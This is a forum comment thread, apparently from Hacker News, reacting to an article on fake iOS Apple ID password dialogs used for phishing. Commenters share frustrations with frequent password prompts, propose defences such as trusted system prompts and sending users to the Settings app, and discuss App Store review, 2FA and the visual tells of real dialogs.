Why not just make it so that a password dialog can't be created with certain word combos like "Apple ID" and "Sign In to iTunes Store"
Still might fool some users who aren't paying attention but seems like it would be a simple start.
MacOS with the new TouchID is pretty bad on this as well. I thought all user password prompts would be replaced with Touch ID but it's very much hit and miss and varies greatly.
Back in the day, we used to train operators to use 'type sudo' before every use of the sudo command, to be sure they weren't surreptitiously using an alias ..
One solution that seems obvious to me is - the OS itself can detect fake popups such as this. It can even be a fast neural net that checks the screen, say, once a second.
A neural net for what could be a simple string comparison?
It must be an image comparison, and it's can be a simple 1-to-1, because all it takes is one modified pixel to break that. That's why it has to be some sort of an image recognition technology.
A string comparison would not catch my next attack, a bitmap-based imitation.
For a while iOS would just seemingly randomly ask me to enter my icloud password. I’m so used to this that without reading this article I would have literally fall for this every single time.
I have a joke with my family that I am forced to enter iTunes password on at least one iOS device - daily. We share one iTunes account, and when you enter the password on one device, all the others prompt for a password when unlocked. It's mildly frustrating when you have kids, and multiple iOS devices.
The scenario goes like this: One of my kids' Messages app stops working (thanks Apple!). I am forced to turn off/on Messages, and during the process Apple asks for my password. Then, when I attempt to use my other iOS devices, I am prompted for the same password ... on ... every ... device. Then, about 20% of the time the password does not "take" and I am forced to ignore and attempt at a later time.
/rant
An aside, but wouldn’t you be better off with each person having their own Apple ID and using family sharing to share apps and such?
I'm sure there is a better way, but it would probably require a "weekends worth" of time to convert my entire iOS empire. When we started with Apple, "family sharing" and "ask to buy" wasn't a thing (so I'm not locked into the shared model) but I will definitely check it out - I didn't know I could create an Apple ID for my child AND share apps among all family members.
For those interested: https://support.apple.com/en-us/HT201084
I set up Family Sharing this weekend and you are correct for a family of five it is like a half day effort including figuring out unique usernames, being asked to use the same secret questions and then fixing the settings on each iOS device. If you have a toddler hanging on you and a curious 9 old, it is exhausting. Still it seems worth it as with each iOS update iMessages is re-enabled, which would lead to embarrassment if my vigilance wavers. Also, I like the idea of the kids having their own iCloud sync/backups.
There's one annoying omission from family sharing: no IAP are included. And almost every kids game has one. Not talking freemium but just ones with one free level that gets kids hooked.
That doesn't appear to be the case for us. We have sharing and my spouse and son make IAPs frequently. For him, I'm alerted to authorize the payment.
You can share the payment method, but family members can't benefit from the "unlock" of the IAP and must each purchase it separately.
I believe that is set by the app creator so that users wouldn't try to load the same subscription under multiple accounts. I'm speaking of the general app purchases, and family subscriptions we haven't had an issue with.
IAP = In App Purchases
Oh, interesting. I hadn't encountered that, but that's very annoying.
Family Sharing has its own annoying issues. A spent one entire Saturday trying to work through everything just so my son could way Frozen on his iPad. This was the most frustrating experience I've had in a long time. You'd think it would be easy, but it wasn't.
In the end, I just let him watch it on my device and he was happy. Myself? I'm of the opinion that whoever design Apple Family Sharing should be ashamed. It's a horribly convoluted system that was either a) never tested by a real family (or they were completely ignored) or b) designed to be horrible on purpose.
I tried family sharing with my wife, and it resulted in her being unable to purchase any apps, even though she was set up as an adult user.
We ended up turning it off because sharing apps wasn't worth the "Hey, can you buy this app for me?" coordination.
And then there was all manner of nonsense after we turned it off, too.
I assume there are other weird bugs in family sharing.
Works fine in our household. The only time I'm alerted is when the CC statement arrives. Then I rib her for her CC Saga addiction.
Aaaand this is why I probably won't try it. I'll deal with being the only one who "knows the iTunes password".
The Apple's way of implementing authentication into the various services caused me a lot of frustration. All this constant password reassurances combined with the necessity of complex passwords that is difficult to type in on an iOS device and the previously very persistent enforcement of constant user agreement updates made me use the least possible services. It was far from a pleasant user experience. I might have missed several things, interestingly looking non-essential programs or cool iCloud features that I gave up to avoid these annoyances, but that is it now. I will never know. It is still enough to 'click' those remaining stupid messages away that block you from using the device, like click away warning about the accuracy of local positioning when I want to make a photo on a situation that goes away in 3 seconds (so eventually no point of warning me about metadata of a photo not happening), it is absolutely wrong obstructing the user more, repeatedly, in using its device. I guess I accepted not to use the iPhone that much as its potentials would allow. I don't trust it (firstly just about its usability, now about its security as well).
I’m not sure if something is screwed up with your account or your devices or what, but I do t have that wacky experience amongst all my devices that share an account (~7-8 of them).
I agree, the ongoing and erratic basis that my devices ask me to sign in to iCloud is a serious flaw. I already find iCloud a completely opaque mess of services that I don't understand, and this doesn't help. The only saving grace is that cancelling out of these requests usually has no obvious downside.
I had the same issue, but I was so paranoid that I would always cancel out and not put in my password. I'm 95% sure it was legit, but randomly asking my password for seemingly no reason made me paranoid.
Yeah, If i get a password prompt and I didn't do anything to "initiate" it, then i'm not typing my password in. I've never had anything fail using this behavior so I feel I'm safe.
"feel" being the operative word here - am I safer? Who knows?
I've experienced this as well. I seem to be able to just cancel out of it but I'd like to know what's triggering it. It would be nice if the password box had some text to explain the context of the request.
So why does iCloud(?) randomly ask for credentials?
Me too. For a while it was truly awful on my Mac as well, constantly requiring a login. Signing out from all my devices and logging in again finally put it to bed, but it's seriously concerning when you consider how much sensitive info is carried by iCloud.
Once an OS trains it’s users to enter their password without thinking about it, because of random (seeming) password prompts, they’re already fucked. Apple screwed this up on iOS years ago.
This is the key here; immunity to phishing is something you have to fight for. Even if Apply changes to no longer prompt like this, or to make the "official" prompt significantly different, the damage has already been done. 75.3% of users will see the "old-fashioned" prompt and just assume it's kosher because some subcomponent hasn't updated or something and that's game over.
It was a mistake to ever have these prompts -- the most they should have said is "go to the settings app and re-enter this information" or something similar. Now we're stuck relying on Apple's App Store screening to shield people from this vector. I'll continue my policy of always ignoring these popups, so hopefully I'll be safe.
Yup. And if you develop apps and test in-app purchases in their iTunes sandbox, you will get these CONSTANTLY. Like, every time you change what network your device is connected to.
Yes. I hate testing in-app purchases, I will never do it on a device I actually use because it becomes a nightmare, especially if it is a recurring subscription. Endless password prompts.
In fairness, this isn't unique to Apple devices. Most people I know turn off Windows UAC controls for exactly this reason. I'm sure the same is true of Android or any other devices too.
Probably, but I don't really have much experience with those, so I can't really speak about them.
I think OAuth and single sign on is great but I always thought OAuth had a similar issue to this. You're on a random website, you click to login via e.g. Google and then enter your Google password into the login dialog that appears. It's asking wayyy too much from regular users to be able to tell if this is safe or not. I'm really surprised there haven't been more phishing attempts where a fake login is shown which saves your password.
It's an even worse issue in e.g. Android apps that use Google or Facebook for logins as you can't tell what domain is serving the login prompt like you can in a desktop browser.
One of those recent widespread google docs attack used this strategy to get into lots of business g accounts.
That's rather specifically not the same attack.
One uses the normal OAuth flow and mis-represents a valid application identity in order to get the user to grant permissions normally. The other flow, that the grandparent refers to, redirects users to a phishing domain and steals credentials.
I'm almost ok in a web browser, at least there is a reasonable way of being 80% sure it's safe, but the webview version is my pet peeve... not even a power user could be able to tell...
> I'm almost ok in a web browser, at least there is a reasonable way of being 80% sure it's safe, but the webview version is my pet peeve
I use a password manager on desktop so when it fills in the password for me I'm confident I'm safe. Asking regular users to be sure a real browser pop-up is being shown and the expected domain is shown is asking too much though in my opinion.
I constantly have to verify my iCloud password, despite having 2FA and Touch ID enabled. At least once a week on at least one of my three iOS devices. It's such a constant chore I would probably fall for this phishing attack.
I believe it is because my email address is a relatively common firstname@gmail.com, and people are trying to recover or guess the password. Perhaps there's some misguided attempt on Apple's side to increase the security if there's lots of failed attempts. I also get constant Facebook recovery attempts (at least they have a "Didn't request this change?" link), mortgage emails, bills, appointments, intra-family email threads, etc. I don't think they're malicious, tons of people are just fundamentally unable to type their email address correctly into a field.
Why not ask users to set a unique phrase to identify themselves when you set up the OS? If this phrase isn't in the box that asks for a master password, you know it's phishing. Hell, just put that IN the copy on the master password box.
"If the words below do not match your unique phrase, do not enter your password."
If I see "Green eggs and ham", I know it's safe to put in my password.
Yahoo used that, except with an image, not a phrase. And then one day yahoo.com didn't show that image anymore.
What do I do then, as a user?
At this time, I didn't care much about my yahoo account, so I simply didn't log in anymore; but in general, this solution leaves the user alone. You need to give them a potential remedy when that happens.
It's a good idea, but a security solution that relies on users noticing when something is absent is not exactly airtight.
No solution is airtight, but if it makes it better for 10% of users without making it worse for the other 90%, it seems like a good idea.
My guess is that a large % of unsavvy users would put their password in that field, making things much, much worse.
Huh? How? Those users would be entering in their passwords in the dialogs today.
Adding a visual indication of a secure dialog can at least help the power users, while not changing anything for the ones that don't know the difference.
EDIT: Oh sorry, I seen what you are saying now - entering password into the phrase field. Instead, just make it an image that the user selects, or even creates.
It will just be used for blame shifting.
"You didn't notice one of the dozen popups asking for credentials lacked your magical hidden phase YOUR FAULT!"
If Apple were going to explore a strategy to fix this, they would likely be better off redirecting the user out of the app before asking for credentials, or prompting them in notifications/home screen only.
Even better, add an indicator light to the hardware that shows the OS is asking and not an app (although this suffers from the same problem that users need to notice something is absent).
This is the approach my bank's login uses.
Couldn't an app screenshot the screen after asking you to authenticate, and thus capture the phrase?
AFAIK, it's not possible for a sandboxed app to take a screenshot without user consent.
There are apps (obviously they're banned in the app store) that can record the screen (not just within the app, but in general).
On iOS the test of pressing the home button and see if the app goes in background seems a pretty strong one.
Perhaps in a future Apple can make you press the home button as part of the verification, so it’s kind of implicit.
this is perfect, the password field could be disabled until the home button is pressed >> "press the home button to enter the password"
I think this is the best solution so far!
Perhaps when you put your finger on the home button it would read your fingerprint and authenticate you like that and the user wouldn't have to enter their password into a box that might steal it..
I can spend thousands using just my fingerprint, but authorising my Apple ID so I can buy a 99p app or login into iMessage requires my Apple ID password...
It's already like that - I assume the phishing only works for people that don't use fingerprint, or don't notice the difference.
Good luck doing it on iphone x.
crap, maybe power button then?
This would work. Sleep/wake is already used for Apple Pay on iPhone X.
To the author: the double quote characters in your phishing dialog are straight ASCII " but the quotes in the official dialog are Unicode open/close double quote characters.
Yeah, thanks for the note, I noticed that but was too lazy to re-do the screenshots.
Ok, but that's hardly the point...
I know Apple uses curly quotes for EVERYTHING so that raises an instant alarm in my head.
In that case you're probably more secure than 99% of apple users. I don't think more than 1% of iphone users would've noticed the difference.
Yup. Everyone who had accidentally edited a JSON file in TextEdit knows this.
There are so many random popups in iOS to authenticate to itunes, app store, facetime, icloud, etc that I am amazed widespread phishing strategies don't already target them
Yes. This is the most horrible UX I have ever seen, especially from a company as security-sensitive as Apple is. In my experience, none of the mitigations given by the article are actually helping in some of the cases:
> Hit the home button, and see if the app quits:
if the prompt was caused by some in-app purchase related framework having to re-check something, then the app will quit and the prompt will go away.
> Don't enter your credentials into a popup, instead, dismiss it, and open the Settings app manually
if the prompt was related to that in-app purchase, the prompt will not re-appear inside of the Settings app. If it's because of something else (no idea what - nothing tells you), then it's still asynchronous and might or might not appear after a random delay.
Anyways. Overall, Apple is slowly getting better at this, reducing the amount of magic prompts, though during the beta period and after updates, it might still happen here and then.
Apple, if you're listening: You need to fix this. Centralise this in Settings and prompt users to go there. And do everything in your power to not having to re-prompt the user.
Every time I'm seeing this prompt, I'm wondering where I'm being phished or not, especially the really bad one that's not listing the Apple ID (my apple-id is using an apple id specific email address I'm not using anywhere else, so if I'm seeing the address, it's very, very likely legit).
This is the most horrible UX I have ever seen
You must lead a very sheltered existence then ;-)
> his is the most horrible UX I have ever seen
Enjoy your bank logins https://twitter.com/lukew/status/908729507086950400
> But, but, but, why is the . symbol within the ", is this all fake?
Fun fact for those who (like me) didn't know for a long time... technically "gmail.com." is actually the domain name for Gmail. It's called the fully qualified domain name (FQDN), akin to an absolute domain name (as opposed to relative to the current subnet).
But this is more related to the American English style of placing punctiation inside the quotes, isn't it? [1]
As a German (we don't do this), I also didn't like that when I saw it the first time.
[1] http://www.thepunctuationguide.com/british-versus-american-s...
Indeed, and I was not trying to suggest the punctuation was due to them intentionally trying to write an FQDN. I was just mentioning a fun fact that the notation reminded me of.
Do you have a source for this? I've not heard this before. The Wikipedia article on FQDN doesn't mention ti.
> Do you have a source for this? I've not heard this before. The Wikipedia article on FQDN doesn't mention it.
Actually it's right there in the Wikipedia article [1]...
The DNS root is unnamed, expressed as the empty label terminated by the dot. This is most notable in DNS zone files in which a fully qualified domain name must be specified with a trailing dot. For example, somehost.example.com. explicitly specifies an absolute domain name that ends with the empty top level domain label.
[1] https://en.wikipedia.org/wiki/Fully_qualified_domain_name#Sy...
I learned this while configuring Bind9 for the first time: https://wiki.debian.org/Bind9#A.2Fetc.2Fresolv.conf_File
This is also an issue with in app web browsers. AFAIK an in app broswer's data can one way or another be completely accessed by the app containing the browser.
as an example, Tinder requires Facebook login. To do this it launches a WebView. it could be faking that view to get your Facebook credientials. it could also just get them direct from the WebView .
I know tons of apps depend on WebViews but I kind of wish there was a solution . maybe Apple only allowing the WebView to access certain domains and no 3rd party domains and then requiring the app to actually launch safari not use a WebView. Of course I suppose that doesn't help as the app can still display a fake Facebook login.
Facebook changed their SDK login behaviour to open the Facebook app, or Safari if it's not installed. If you see an in-app webview login for Facebook, you are being phished. However, 99% of users wouldn't know to check for this.
Dialogs owned by the OS should probably pull the drawer down and display in there. The simplest way is not allowing the application to access some sacred part of the UI, and putting system stuff there. Same thing web browsers do.
A phishing dialog could fake the drawer. Apps can and do regularly use the full screen which is something web pages don't do and which will require extra user confirmation for precisely this reason.
Denying apps full screen access is very detrimental to the overall UX so that's not going to happen.
The other solution is to have apple never prompt for that password aside of during the initial setup process after installing an update.
Then you could at least give the advice to never enter your Apple ID-Password anywhere unless you've just re-installed the OS.
There are other visual solutions: show the app switcher, or go to the home screen and return when the modal is dismissed. I agree apps can fake some things, but it's not an unsolvable problem.
Show the app switcher is a good idea. It could make sense visually and would have information that the phishing app couldn't get (the surfaces of other apps).
Okay, that’s pretty slick.
I guess lucky for me I always enter my password in the Settings app directly, because I don’t know my password and the iPhone won’t let me go to a password manager when it gives me this popup without warning.
Only password outside of my password manager is the Apple one. Exactly because I need it so often that it would be really big issue for me if I have to loose 30 seconds every time I want to enter it.
Isn't this one of the oldest tricks in the book? the following story is completely made up...
When I was in college me and a friend re-made the win2000 login sequence in visual basic to play pranks on people. After typing username and password it pretended to load and then just quit itself so the desktop would show so it looked like everything was fine. We'd then go in and do the classic "take a screenshot of your desktop, set it as you wallpaper and hide the icons".
Could apple just make a dialog style unique to OS level prompts? not foolproof, but you can't customise os blocking dialogs from apps so you couldn't replicate the behaviour if you tried to fake it.
If you had enough access to run your Visual Basic program, didn't you already have enough access to change the wallpaper and hide the icons even without the victim's password?
We logged into the machine, ran the app, leave the computer, person A would go up and "log in", except everything wouldn't be right as it's not their account, so they just logged out and back in for real. All of the details were saved on the schools networks drive for later shenanigans like the wallpaper stuff. It was very basic.
detect.location: https://github.com/KrauseFx/detect.location
watch.user: https://github.com/KrauseFx/watch.user
Without clicking, I have no idea what these links are or why you included them in this conversation. Care to elaborate?
Other projects by the same person, demonstrating additional potential security issues.
They're also referenced in the article, under the paragraph titled "Phishing on mobile? Is that a thing now?"
I think fix is simple. Just show the icon of app showing the prompt as part of prompt. I am surprised such apps made through from review process.
That assumes that a phisher would use the system API for creating a prompt. It's possible for them to draw a dialog that looks just like the system dialog on top of the regular application chrome. Once Apple has trained a user that it is ever okay to type this information in, the cat is really out of the bag.
Shouldn't this type of password be stored in the devices keychain, which can be unlocked with the device's auth mechanism, and provides authentication services without exposing the itunes password to app developers? That is, authenticate user on device -> verify recipient of auth info -> send auth message.
I must be missing something since no-one seems to be suggesting this.
Android already has a decent fix for this. When a Google app needs a password entered, it shows a notification. An example I run into is when Chrome wants its Sync Passphrase. I remember long ago seeing something similar when I changed my account password, but I haven't seen it recently so I don't know if they're still doing it.
At least with TouchID I think I've stopped having to ever type my iCloud password into random popups anymore.
I'm sure there are still corner cases where it would want the literal iCloud password but I don't remember the last time I saw the prompt, versus before TouchID the random password prompts were pervasive and discomforting.
TouchID has been removed from the iPhone X.
TouchID is replaced by FaceID which I assume likewise eliminates the vast majority of password prompts?
Everything that uses the TouchID API should seamlessly use FaceID instead on the X
Doesn't it have a password/pin fallback though?
Yes, just like TouchID.
As the author notes, the App Store provides a measure of defense against this. Apps that do this might get away with it at first but will eventually be discovered and banned.
Plus 2FA also protects you from this. iOS has easy-to-use 2FA and is on a good trajectory of mainstreaming it and driving adoption. I'm not sure his proposal for defeating 2FA would work:
> even with 2FA enabled accounts, what if the app asked you for your 2 step code? Most users would gladly request a 2FA-token and ask for it, and directly pipe it over to a remote server.
I wouldn't give this much credence without a proof of concept. iOS throws up a dialog when there's a pending 2FA request which consumes the code or cancels the request, so that would prevent the app UI from intercepting it.
I'm not sure how sophisticated the App Store review process is now, but it would be quite easy to grep the codebase for any UIAlertView with the word "password" or "sign in" inside it (unless it did some sort of real-time decrypting of that message).
Regardless, iOS should have a private alert view for inputting sensitive data, similar to the Touch ID prompt. If the prompt is not even relevant to the app container, it should also completely minimize the app view to prevent confusion.
The only safe solution is for the popup to have a "Settings" button. Anything else can be faked rather easily due to the fullscreen nature of iOS. Given enough time and dedication, any overlay or "feel safe" icon can be faked.
The reactions I have regarding the urgency of this are:
1) Have there in fact been any known phishing attacks in Apple's App Store using this method?
2) Wouldn't Apple's app review usually notice something like this before allowing it into the store?
> 1) Have there in fact been any known phishing attacks in Apple's App Store using this method?
no attacks are known. But that doesn't mean a thing. It's very easy to do this, so you'd have to assume that it is being done.
> 2) Wouldn't Apple's app review usually notice something like this before allowing it into the store?
no. As the article says, this kind of functionality is incredibly easy to hide.
Re: 2)
What does Apple review when approving apps?
They can do review-time checks of system calls that show the popup. Look for keywords in the dialog ("password", "account", "ID" etc). At runtime, check if a password entered in a dialog matches the user's Apple account password. Suspend or remove suspicious apps from the Appstore and advise the affected users.
It wasn't used as a widespread attack but could've been used in the past for targeted attacks.
Have you been able to get in touch with Apple about this or were you told to just submit a radar? Do you have any sense if this is something Apple might fix sooner now that it's getting some exposure?
The real problem is that apps can get data off your device too easily. An app that phishes your password isn't actually dangerous until it uploads it to a server somewhere.
Apple should provide an API that limits an app's internet access in severe ways, preventing encryption, large uploads, etc. Unrestricted internet access should be a permission that few apps are granted.
Apps would still find clever ways to exfiltrate data but that itself would be something you could look for. Today, any app that has access to your data can upload it to anywhere without suspicion.
Making apps request internet access privileges seems like a viable idea. Don't limit encryption though - that's the opposite direction from where we want to be. It is more important to secure the connections to our devices.
You could do TLS for the app, no need for the app to do encryption itself, is what I meant. That way it's easy to inspect/restrict the data the app is capable of sending out.
This is not a new problem, and the GlobalPlatform TEE trusted UI goes a long way to address such a problem.
Though Apple does not officially support the GP TEE, the concept could be borrowed. Trusted code running inside the secure enclave combined with a hardware backed indicator for trusted user interactions driven by code in the secure enclave can help.
This is pretty much how their fingerprint sensor data is protected, via direct connection to, and control from the secure enclave so that none of the fingerprint data enters a non-secure zone.
krausefx: the warrior dev who unleashed his weapons on evils iOS app signing and app store submission processes, now trains his guns on iOS privacy gotchas :)
Thanks Felix for these works! Hopefully your work on pointing these issues get the necessary attention from Apple soon!
I have hated those alerts for iTunes passwords so much, and always entered password from Settings app. But never realized what a security nightmare it can be for those who are not iOS/Devs.
Thanks, really appreciate your comment. I'm trying my best to raise awareness, and help Apple protect the user's privacy
This attack has been obvious for quite some time, it's amazing that Apple hasn't modified IOS to incorporate a trusted modal for password entry.
Well written. I wrote a similar article over a year ago here — https://medium.com/@jakemor/how-someone-can-steal-your-iclou...
It highlights the same exact security issue. The solution is simple: only ask for passwords in the SETTINGS app. Have the alert route users there.
I remember seeing a research group that was working on creating an out of band password prompt for desktop computers at NC State. Basically the OS had a syscall to pause everything the kennel included and a separate module would basically dim the screen and show the password prompt over what was currently on the screen. I forget the exact details but it was neat.
Perhaps you're referring to Windows? (I'm not trying to be snarky, a lot of people here genuinely don't use Windows)
System security related prompts have worked essentually as you describe on Windows since 2001.
I honestly don't remember which OS they used, but not this wasn't something built into any existing OS already. The point was that the code that displayed the password prompt was outside of the kernel and kernel control entirely. The UI wasn't the important part, it was that the OS never got access to the password in the first place.
I imagine if you had a password prompt LED on your device that could only be lit up by the separate chip that does password prompts, that would help create an off screen UI.
There was a fantastic article last year where Jake Mor exposed this issue, totally nuts it took so long for iOS to fix this!
https://medium.com/@jakemor/how-someone-can-steal-your-iclou...
Can anyone parse this sentence? I have no idea what it's trying to say:
Nope, actually, that's how the system dialog looks like, the . is within the "string notation, so I designed the phishing dialog to also include this little, but very important design detail
He's saying on native dialogues, when it lists your Apple ID email address, it includes a full stop at the end. The address and the full stop both happen to be in double quotation marks. Many phishers would place the full stop after the quotation marks, or omit it entirely.
legit -> "bill@apple.com." not-legit -> "bill@apple.com"
But you're right, it's a terrifically difficult sentence to read.
If you look carefully at the screenshot, it shows
`"email@email.com."` <- note the trailing period inside the quotation markers.
He's saying he knows it looks weird, but you have to get that detail right to look exactly like the system dialog
If you look at the dialog, there is a '.' (period) at the end of the email address, inside the quotation ("). The author replicated this, even though it seems strange.
I never thought this kind of attack is possible on my iPhone — I don't know why, maybe I was expecting Apple's OS to prevent it.
So I don't remember weird, unexpected password prompts, but I just changed my password anyway.
The advice on recognizing legitimate popups is pretty good.
OAuth, 2FA, a control panel to manage OAuth tokens, and decent app policies fix this problem. A user should never have to enter their password other than the first time they're setting up their phone. Very preventable.
Easily? First you have to get your malicious app through the review.
And that's extremely easy. The App Store review is not nearly as thorough as most people think.
I remember having the same idea, but I always thought the password dialog is distinct from any other dialog available to the app developers. Guess now it all looks the same :P
All apps have always had complete freedom to draw their UI in any way they want. Look and feel is completely up to the developer. There's nothing "special" about the design of system dialogs themselves, it's all just pixels.
I see your point, but it is a little bit misleading to say developers have complete freedom to draw their UI any way they want. You can still have an app rejected on UI grounds during review. Make an app with a crappy enough UI and it can be rejected citing the "Substandard User Interface" rule in the App Store guidelines. What constitutes the meaning of "Substandard" is of course whatever Apple wants it to be.
How does the phishing app know my apple ID email address already?
AFAIK there is no way to obtain the apple id being used, as it would work as an excellent cross-device persistent identifier. However many people would just use their email address which you could get asking them to register, connecting with facebook and other legitimate use cases.
I thought that too, but further in the article, it explains some official dialogs don't have the AppleID.
One way to get the email:
At the start of the phishing app, ask the user to enter in their AppleID, then store it.
Sometime later, present the user asking for their AppleID password.
Not sure how feasible this is, but the OS could detect when you've typed your password into a non-system prompt and present a warning or block of some sort.
That would be such an inconvenience to the people who re-use their passwords!
/s
> But, I have 2-factor enabled, I'm safe, right?
Apple really pushes you to do this in iCloud. For the better.
I think the bigger safety against this isn't that Apple reviews apps, but that submitting an app to the store requires money up front and some way for Apple to identify the person behind the account. It's by no means foolproof, but I imagine it redirects a lot of bad actors to easier attacks.
Could easily see this working on the mobile web as well
What’s next? “How to make a phishing website look like a real website!”
I don’t get how this is an iOS problem, he basically just taught you what phishing is and happened to use iOS as the example...
Windows has this sorted, albeit in a super annoying manner: UAC https://en.wikipedia.org/wiki/User_Account_Control#/media/Fi...
In my opinion less annoying than the iOS password popup. I think in one OS they appeared very often (Win 7?) but by now I only see them if I want to execute as admin. And I'm glad how they're designed, it's hard to accidentally click on them.
No, it's usually a Touch ID prompt these days.
Apple does have one mitigation I’m surprised not to see listed. The keyboard changes color when it’s a system dialog asking for your password. That’s not something an App can do to my knowledge, but I could be wrong. Any idea why it wasn’t mentioned?
You sure about that? The screenshots in the article don't show the keyboard being a different color with a legitimate pop-up.
On my iPhone it does. It goes from a light grey (normal keyboard) to a dark grey (system password entry keyboard).
Try it in a few more apps it's the choice of the app dev so basically random.
Not that a user should have to know "only enter your password into the black keyboard", which can also be faked mind.
Yes, I know about UIKeyboardAppearance and how apps can influence that, this isn't what I am talking about. When I say "system password" dialog, I am talking specifically about requests for my iCloud/iTunes/phone password. Unfortunately I can't seem to trigger it now, but I distinctly remember in the past the keyboard looked slightly different than the dark keyboard theme. Maybe I am wrong!
This is just a part of ios. There's a light keyboard and a dark keyboard, and apps can request to use the dark one. The reddit app, for instance, requests the dark keyboard when you're in "night mode."
That's only if you're using a third-party keyboard, I think.
I’m using the stock Apple keyboard (used to use alternatives, but not anymore) and as mentioned the keyboard significantly darkens it’s grey when it’s asking for a system password.